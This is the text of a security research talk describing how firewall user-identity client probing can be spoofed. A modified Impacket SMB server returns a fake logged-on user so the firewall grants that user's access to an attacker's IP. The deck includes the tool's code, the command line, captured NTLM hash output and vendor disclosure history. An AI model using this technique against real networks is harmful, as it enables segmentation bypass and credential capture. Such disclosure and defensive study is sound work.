Hi! I'm DOMAIN\Steve, please let me access VLAN2.

Tricking firewall user identity capabilities into applying security policies to arbitrary IPs on the network.

Get-ADUser "Justin Perdok"



Outline



Storytime

Storytime

```
[*] Incoming connection (192.168.56.222,65475)
[*] AUTHENTICATE_MESSAGE (DOMAIN\svc_palo_alto_userid,W10)
[*] User W10\svc_palo_alto_userid authenticated successfully
[*] svc_palo_alto_userid::DOMAIN:aaaaaaaa:4b4d758600ea83bcdaaba
[*] Connecting Share(1:IPC$)
[-] Unsupported DCERPC opnum 2 called for interface ('6BFFD098-
[*] Disconnecting Share(1:IPC$)
[*] Closing down connection (192.168.56.222,65475)
```

Storytime

Storytime


2014
Palo Alto Credential Exposure (HD Moore @ Project Sonar)
2019
The risk of Authenticated Vulnerability Scans (Xavier Mertens @ SANS)
2018
The dangers of Client Probing on Palo Alto Firewalls (Estaban Rodriguez @ Coalfire)

Storytime

```
Tree Connect Request Tree: \\192.168.56.149\IPC$
445 → 49903 [ACK] Seq=523 Ack=929 Win=64128 Len=0
Tree Connect Response
Create Request File: wkssvc
Create Response File: wkssvc
Bind: call_id: 2, Fragment: Single, 3 context items: WKSSVC V1.0 (32bit NDR), WKSSVC V1.0 …
Write Response
Read Request Len:1024 Off:0 File: wkssvc
Bind_ack: call_id: 2, Fragment: Single, max_xmit: 4280 max_recv: 4280, 3 results: Acceptan…
NetWkstaEnumUsers request
Fault: call_id: 2, Fragment: Single, Ctx: 0, status: Unknown (0x000006e4)[Malformed Packet]
Close Request File: wkssvc
Close Response
```

1

2

3

Named pipes

```
C:\>net share

Share name   Resource                        Remark

-------------------------------------------------------------------------------
C$           C:\                             Default share
IPC$                                         Remote IPC
ADMIN$       C:\Windows                      Remote Admin
The command completed successfully.
```

Named pipes


FIREWALLS
IPC$ SHARES

Traditional segmentation



Traditional segmentation



Traditional segmentation



Traditional segmentation



Traditional segmentation



Traditional segmentation



Step through

Traditional segmentation



Traditional segmentation

*Overdramatic example

Exploring $Vendor1



Exploring $Vendor1



From	User	To	Ports
VLAN2	Steve	VLAN1	Port 80

Exploring $Vendor1

The sysadmin in me

Exploring $Vendor1

The hacker in me

Exploring $Vendor1

Client Probing

Exploring $Vendor1

Client Probing



Exploring $Vendor1

Client Probing

I'd like access to the VIP fridge pls. My hotel room number is (192.168.56.)148.

(ping vip-fridge.tld)

Exploring $Vendor1

Client Probing

Ahh, room 148. Our system doesn't know who's currently checked into this room. What is your name sir ?

(NetWkstaUserEnum Request)

Exploring $Vendor1
Client Probing

My name is Justin.

(NetWkstaUserEnum Response)

Exploring $Vendor1
Client Probing

Hi, Mr. Perdok.
Sorry, you are not allowed to access the VIP fridge due our hotel policy. VIP clients only.

Exploring $Vendor1

Oversight of Client Probing ?

Exploring $Vendor1

Oversight of Client Probing ?

I'd like access to the VIP fridge pls. My hotel room number is (192.168.56.)149.

(ping vip-fridge.tld)

Exploring $Vendor1

Oversight of Client Probing ?

(NetWkstaUserEnum Request)

Aah, room 149. Our system doesn't know who's currently checked into this room. What is your name sir ?

Exploring $Vendor1

Oversight of Client Probing ?

My name is Steve.

(Spoofed NetWkstaUserEnum Response)

Exploring $Vendor1

Oversight of Client Probing ?

Hi, Mr. McGreeve. I see you bought our VIP package. Of course you are allowed to access the VIP fridge!

Exploring $Vendor1

Client probing: "I trust client side without validation."

Hackers around the world:

Exploring $Vendor1

ping vipbeer-fridge.tld

NetWkstaUserEnum Request

Spoofed NetWkstaUserEnum Response

?

Exploring $Vendor1

			Source				Destination	
Name	Tag	Typ	Zone	Address	User	HIP Pro	Zone	Address
VLAN2 to VLAN1	n…	u…	VLAN2	any	any	any	VLAN1	any
VIP Members in VLAN 1 to VIP Beer Fridge in VLAN2	n…	u…	VLAN1	any	domain\vip members	any	VLAN2	VIP_Beer_Fridge_192.168.57.10
DC to VLAN2	n…	u…	VLAN1	DC …	any	any	VLAN2	any

Exploring $Vendor1

User-ID Agent



Firewall

Exploring $Vendor1



Exploring $Vendor1



Exploring $Vendor1

STEP 4 » (Optional, not recommended) Configure client probing.

Do not enable client probing on high-security networks. Client probing can generate a large amount of network traffic and can pose a security threat when misconfigured.

Exploring $Vendor1





Exploring $Vendor1



Exploring $Vendor1





Exploring $Vendor1



Exploring $Vendor1



Exploring $Vendor1



Exploring $Vendor1



Exploring $Vendor1

			Source				Destination	
Name	Tag	Typ	Zone	Address	User	HIP Pro	Zone	Address
VLAN2 to VLAN1	n…	u…	VLAN2	any	any	any	VLAN1	any
VIP Members in VLAN 1 to VIP Beer Fridge in VLAN2	n…	u…	VLAN1	any	domain\vip members	any	VLAN2	VIP_Beer_Fridge_192.168.57.10
DC to VLAN2	n…	u…	VLAN1	DC …	any	any	VLAN2	any

```
@justinp-VirtualBox:/home/justin-p# ping 192.168.57.10
192.168.57.10 (192.168.57.10) 56(84) bytes of data.
```

```
root@justinp-VirtualBox:/home/justin-p# smbserver.py test . -smb2support -debug
Impacket v0.9.22.dev1+20201001.141742.e834325b - Copyright 2020 SecureAuth Corporation

[+] Impacket Library Installation Path: /usr/local/lib/python3.8/dist-packages/impacket-0.9.22.dev1+
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (192.168.56.222,64214)
[*] AUTHENTICATE_MESSAGE (DOMAIN\svc_palo_alto_userid,W10)
[*] User W10\svc_palo_alto_userid authenticated successfully
[*] svc_palo_alto_userid::DOMAIN:aaaaaaaa:fb7ef215c6b677781fb04ffab18a661b:0101000000000000060d3
430063000200100062007900 6e005500420066005000650004001000620079006e005500420066005000650007000800006
60291f8f2e3c7f949d99bfc1d859d0a0010000000000000000000000000000000000000000900260063006900660073002f0031
[*] Connecting Share(1:IPC$)
[-] Unsupported DCERPC opnum 2 called for interface ('6BFFD098-A112-3610-9833-46C3F87E345A', '1.0')
```

Exploring $Vendor1

Client in VLAN1

User-ID agent



Firewall

The VIP Fridge in VLAN2



Exploring $Vendor1





Exploring $Vendor1

1. ping vip-fridge.tld
from 192.168.2.149



0. Agent pulls AD logs

AD Logs

0

Cache



Exploring $Vendor1

1. ping vip-fridge.tld
from 192.168.2.149



Hold up.
Need to know
your name.

2

ACL with User-ID

0

Cache

0. Agent pulls AD logs

AD Logs



Exploring $Vendor1

1. ping vip-fridge.tld
from 192.168.2.149



3. Who is 192.168.2.149

2

ACL with User-ID

0. Agent pulls AD logs

AD Logs

0

Cache



Exploring $Vendor1

1. ping vip-fridge.tld
from 192.168.2.149



3. Who is 192.168.2.149

2

ACL with User-ID

0. Agent pulls AD logs

AD Logs

0, 4

Cache



Exploring $Vendor1

1. ping vip-fridge.tld
from 192.168.2.149



5. NetWkstaUserEnum Request

3. Who is 192.168.2.149



2

ACL with User-ID

0. Agent pulls AD logs

AD Logs

0, 4

Cache



Exploring $Vendor1

1. ping vip-fridge.tld
from 192.168.2.149



3. Who is 192.168.2.149

5. NetWkstaUserEnum Request



2

ACL with User-ID

0, 4

Cache

0. Agent pulls AD logs

AD Logs



Building the tool

Building the tool

```
Tree Connect Request Tree: \\192.168.56.149\IPC$
445 → 49903 [ACK] Seq=523 Ack=929 Win=64128 Len=0
Tree Connect Response
Create Request File: wkssvc
Create Response File: wkssvc
```

[MS-WKST]:

Workstation Service Remote Protocol

Intellectual Property Rights Notice for Open Specifications Documentation

https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-WKST/%5BMS-WKST%5D.pdf

Building the tool

Building the tool

[MS-WKST]: Workstation Service Remote Protocol

What is Impacket?

Impacket is a collection of Python classes for working
level programmatic access to the packets and for son
implementation itself. Packets can be constructed fro
oriented API makes it simple to work with deep hierar
of what can be done within the context of this library.

A description of some of the tools can be found at: se

What protocols are featured?

- Ethernet, Linux "Cooked" capture.
- IP, TCP, UDP, ICMP, IGMP, ARP.
- IPv4 and IPv6 Support.
- NMB and SMB1, SMB2 and SMB3 (high-level im
- MSRPC version 5, over different transports: TCP
- lain, NTLM and Kerberos authentications, using
- tions/full implementation of the following MSF
  SRVS, WKST, SCMR, BKRP, DHCPM, EVEN6, N
- Portions of TDS (MSSQL) and LDAP protocol im

Building the tool

```
// Simplified Request
NetrWkstaUserEnum(
  ServerName,
  UserInfo,
  PreferredMaximumLength,
  ResumeHandle
);
```

```
# 3.2.4.3 NetrWkstaUserEnum (Opnum 2)
class NetrWkstaUserEnum(NDRCALL):
    opnum = 2
    structure = (
        ('ServerName', LPWKSSVC_IDENTIFY_HANDLE),
        ('UserInfo', WKSTA_USER_ENUM_STRUCT),
        ('PreferredMaximumLength', ULONG),
        ('ResumeHandle', LPULONG),
    )
```

Building the tool

Get-NetLoggedon

SYNOPSIS

Returns users logged on the local (or a remote) machine. Note: administrative rights needed for newer Windows OSes.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf

```
<#
    Implementation of NetWkstaUserEnum that utilizes
        https://github.com/mattifestation/psreflect to
        stay off of disk.

    by @harmj0y
#>
```

Building the tool

Building the tool

Lolwut?
Unsupported
DCERPC

5. NetWkstaUserEnum Request

```
Unsupported DCERPC opnum 2 called for interface ('6BFFD098-A112-3610-9833-46C3F87E345A', '1.0')
Unsupported DCERPC opnum 2 called for interface ('6BFFD098-A112-3610-9833-46C3F87E345A', '1.0')
Unsupported DCERPC opnum 2 called for interface ('6BFFD098-A112-3610-9833-46C3F87E345A', '1.0')
Unsupported DCERPC opnum 2 called for interface ('6BFFD098-A112-3610-9833-46C3F87E345A', '1.0')
```

```
DCERPCServer.__init__(self)
self.wkssvcCallBacks = {
    0: self.NetrWkstaGetInfo,
    2: self.NetrWkstaUserEnum
}
self.addCallbacks(('6BFFD098-A112-3610-9833-46C3F87E345A', '1.0'), '\\PIPE\\wkssvc', self.wkssvcCallBacks)
```

Building the tool

```
server = smbserver.SimpleSMBServer(listenAdd      ption      erface_address, listenPort=int(options.port),
                                   wkui1_use      tions.      fed_username,
                                   wkui1_lo      dom      otio      poofed_logon_domain,
                                   wkui1_oth      mains=      on      oofed_other_domains,
                                   wkui1_log      erver=o      spoofed_logon_server)
```



```
def addLoggedOnUser(self, wkui1_username, wkui1_logon_domain='', wkui1_oth_domains='', wkui1_logon_server=''):
    user = wkui1 username
    self.__smbConfig.add_section(user)
    self.__smbConfig.set(user, 'wkui1_username', wkui1_username)
```

Building the tool

```
# Remove the global section and ensure we only use sections that we actually expect.
del (sections[sections.index('global')])
self._users = {}
for section in sections:
    if self.__serverConfig.has_option(section, 'wkui1_username') and \
            self.__serverConfig.has_option(section, 'wkui1_logon_domain') and \
            self.__serverConfig.has_option(section, 'wkui1_oth_domains') and \
            self.__serverConfig.has_option(section, 'wkui1_logon_server'):
        self._users[section] = dict(self.__serverConfig.items(section))
```

Building the tool

```
# Setup WKSTA_USER_INFO_1 with supplied information and append it to the buffer.
UserInfo = WKSTA_USER_INFO_1()
UserInfo['wkui1_username']      = user.get('wkui1_username') + '\x00'
UserInfo['wkui1_logon_domain'] = user.get('wkui1_logon_domain') + '\x00'
UserInfo['wkui1_oth_domains']  = user.get('wkui1_oth_domains') + '\x00'
UserInfo['wkui1_logon_server'] = user.get('wkui1_logon_server') + '\x00'
UserEnum['UserInfo']['WkstaUserInfo']['Level1']['Buffer'].append(UserInfo)
```


Administrator: Windows PowerShell ISE
File Edit View Tools Debug Add-ons Help
PS C:\Users\administrator> Get-NetLoggedon -HostName 192.168.56.149
wkui1_username wkui1_logon_domain wkui1_oth_domains wkui1_logon_server
Steve Domain DC
PS C:\Users\administrator>
Completed
Ln 9 Col 28
125%
Type here to search
ENG
7:12 AM
7/5/2021
Right Ctrl
root@justinp-VirtualBox: ~
root@justinp-VirtualBox: /home/justin-p/Documents
root@justinp-VirtualBox:~# smbserver.py test . -smb2support -debug -spoofed_username Steve -spoofed_logon_domain Domain -spoofed_logon_server DC
Impacket v0.9.22.dev1+20201001.141742.e834325b - Copyright 2020 SecureAuth Corporation
[+] Impacket Library Installation Path: /usr/local/lib/python3.8/dist-packages/impacket
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (192.168.56.222,62193)
[*] AUTHENTICATE_MESSAGE (DOMAIN\Administrator,W10)
[*] User W10\Administrator authenticated successfully
[*] Administrator::DOMAIN:aaaaaaaa:780bba6bfc6b484ca59b0e6ac3906e7d:0101000000000008036a8c2a771d70111648871e2a53de8000000001001000440070005400720044005600 7a0066003001000440070005400720044005600 7a006600020010005900790066004c0063004a00570070000400100059007900660 04c0063004a00570070000700080080036a8c2a771d70106000400020000000800300030000000000000000000000000003000007a51d5974a4f7e1db46e24ed9fedd7e48a5f0f1e6f5dd46309f0731457f7ab8f0a001000000000000000000000000000000000000090026006300690066007 3002f00310039003200 2e00310036003800 2e00350036002e00310034003900000000000000000
[*] Connecting Share(1:IPC$)
[*] NetrWkstaGetInfo Level: 1
[*] NetrWkstaUserEnum: Returned Domain\Steve as WKSTA_USER_INFO_1.

The Pwn

Lolwut ?
Unsupported
DCERPC.

1. ping vip-fridge.tld
from 192.168.2.149



5. NetWkstaUserEnum Request

3. Who is 192.168.2.149



2

ACL with User-ID

0. Agent pulls AD logs

AD Logs

0, 4

Cache



The Pwn

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from 192.168.2.149



5. NetWkstaUserEnum Request

6. Spoofed NetWkstaUserEnum Response

3. Who is 192.168.2.149



2

ACL with User-ID

0. Agent pulls AD logs

AD Logs

0, 4

Cache



The Pwn



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from 192.168.2.149



5. NetWkstaUserEnum Request

3. Who is 192.168.2.149

6. Spoofed NetWkstaUserEnum Response



2

ACL with User-ID

0. Agent pulls AD logs

AD Logs

0, 4, 7

Cache



The Pwn



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from 192.168.2.149



5. NetWkstaUserEnum Request

3. Who is 192.168.2.149

6. Spoofed NetWkstaUserEnum Response

8. Spoofed user info

2

ACL with User-ID



0, 4, 7

Cache

0. Agent pulls AD logs

AD Logs



The Pwn



1. ping vip-fridge.tld
from 192.168.2.149



3. Who is 192.168.2.149

5. NetWkstaUserEnum Request

6. Spoofed NetWkstaUserEnum Response



8. Spoofed user info

2, 9

ACL with User-ID

User matches
=
Allow Access

User mismatch
=
Block Access



0. Agent pulls AD logs

AD Logs

0, 4, 7

Cache

paloalto NETWORKS

5 items

				Source				Destination	
	Name	Tag	Typ	Zone	Address	User	HIP Pro	Zone	Address
1	VLAN2 to VLAN1	n…	u…	VLAN2	any	any	any	VLAN1	any
2	VIP Members in VLAN 1 to VIP Beer Fridge in VLAN2	n…	u…	VLAN1	any	domain\vip members	any	VLAN2	VIP_Beer_Fridge_192.168.57.10
3	DC to VLAN2	n…	u…	VLAN1	DC …	any	any	VLAN2	any
4	intrazone-default	n…	i…	any	any	any	any	(intrazone)	any
5	interzone-default	n…	i…	any	any	any	any	any	any

Add | Delete | Clone | Override | Revert | Enable | Disable | Move | PDF/CSV | Highlight Unused Rules | Reset Rule Hit Counter | Group | View Rulebase as

Building the tool
Github



https://github.com/SecureAuthCorp/impacket/pull/965

https://github.com/justin-p/impacket

Other $Vendors

WMI, Registry, Event logs

SONICWALL

NetAPI

$Vendor2

$Vendor2

5. To configure a common service account that the SSO Agent will use to log into a specified Windows Domain, enter the Username of an account with administrative privileges in the **Username** field, the Password for the account in the **Password** field, and the Domain Name of the account in the **Domain Name** field. Click **Next.**



Caveats

SMB Guest Access



Caveats

SMB Guest Access

Guest access in SMB2 disabled by default in Windows

09/08/2020 • 3 minutes to read •

Default registry value:

```
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters]
"AllowInsecureGuestAuth"=dword:0
```

Configured registry value:

```
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters]
"AllowInsecureGuestAuth"=dword:1
```

Caveats

SMB Guest Access

Default registry value:

```
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters]
"AllowInsecureGuestAuth"=dword:0
```

Configured registry value:

```
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters]
"AllowInsecureGuestAuth"=dword:1
```



Disclosure

Palo Alto

6 Okt. 2020

Started disclosure with Palo Alto

22 Okt. 2020

"Moving forward NetBIOS support will be removed from User-ID."

2 Nov. 2020 > 8 Jan. 2021

Issue would not warrent a CVE since it was an issue with 'the protocol', not Palo Alto. Was added to the Hall of Fame.

8 Jan. 2021 > Now

Status of dropping NetBIOS unknown.
"Customers do have a way to not use this feature, so in essence the fix is already present in the product."

Disclosure

SonicWALL

6 Okt. 2020

Started disclosure with SonicWALL

11 Nov. 2020

Informed me that vuln was a duplicate.
Proposed fix that would prompt a warning if the user "Administrator" was configured in the agent.

```
Currently build is in QA and
following are the fix provided
by our remediation team,

- Prompt a warning when user uses
'administrator' to log in SSO agent
service/DC server/exchange server/
terminal server

- Prompt a warning when user uses
'NetAPI' as one of methods of
probing user
```


SONICWALL
FLEX TAPE
BLACK
SMB BASED PROBING
if ($user = "Administrator") {
Prompt-User
}

Disclosure

SonicWALL

6 Okt. 2020

Started disclosure with SonicWALL

11 Nov. 2020

Informed me that vuln was a duplicate.
Proposed fix that would prompt a warning if the user "Administrator" was configured in the agent.

11 Nov. 2020 > 3 Mar. 2021

Shared my concerns regarding the proposed fix and wanted to verify which of the two findings where duplicates.

5 Mar. 2021

CVE-2020-5148

Disclosure

SonicWALL

Sedric Louissaint · 1ste

Senior Cyber Security Consultant at CLA (CliftonLarsonAllen)

5 MRT.

Justin Perdok • 13:09

Hi Sedric, seems you are the other analyst I'm sharing CVE-2020-5148 with.


SMB HASH DISCLOSURE
USERENUM SPOOFING
CVE-2020-5148

Disclosure

SonicWALL

The ol' if-statement

Checks the name (not effective rights) of the service account when updating this in the agent. Not checked during installation itself when this is initially set.

Default Probing Method

NetAPI no longer default probing method.

New documentation

They now advice to create service account with local admin rights for "NetAPI" based probing.

What's next ?

$Vendor3

Suspect they are vulnerable. Already started responsible disclosure process.

\\.\PIPE\WINREG

Some firewalls vendors use the WINREG named pipe for probing. Potentially also exploitable.

WMI

Lots of vendors support WMI. No tooling like impacket available (afaik).

Abuse Cache

Reuse a ip that has a user-to-ip cached.

$OtherProducts

What about systems other then firewalls ?

Conclusions & Takeaways

Client Probing

Why client probing is generally a bad idea

Feature!=Secure

Sometimes security features can be insecure

Thanks!

Contact: @JustinPerdok on Twitter.

If I got something wrong, please let me know :)

Github url
https://github.com/justin-p/impacket

Impacket code

CREDITS: This presentation template was created by Slidesgo, including icons by Flaticon, and infographics & images by Freepik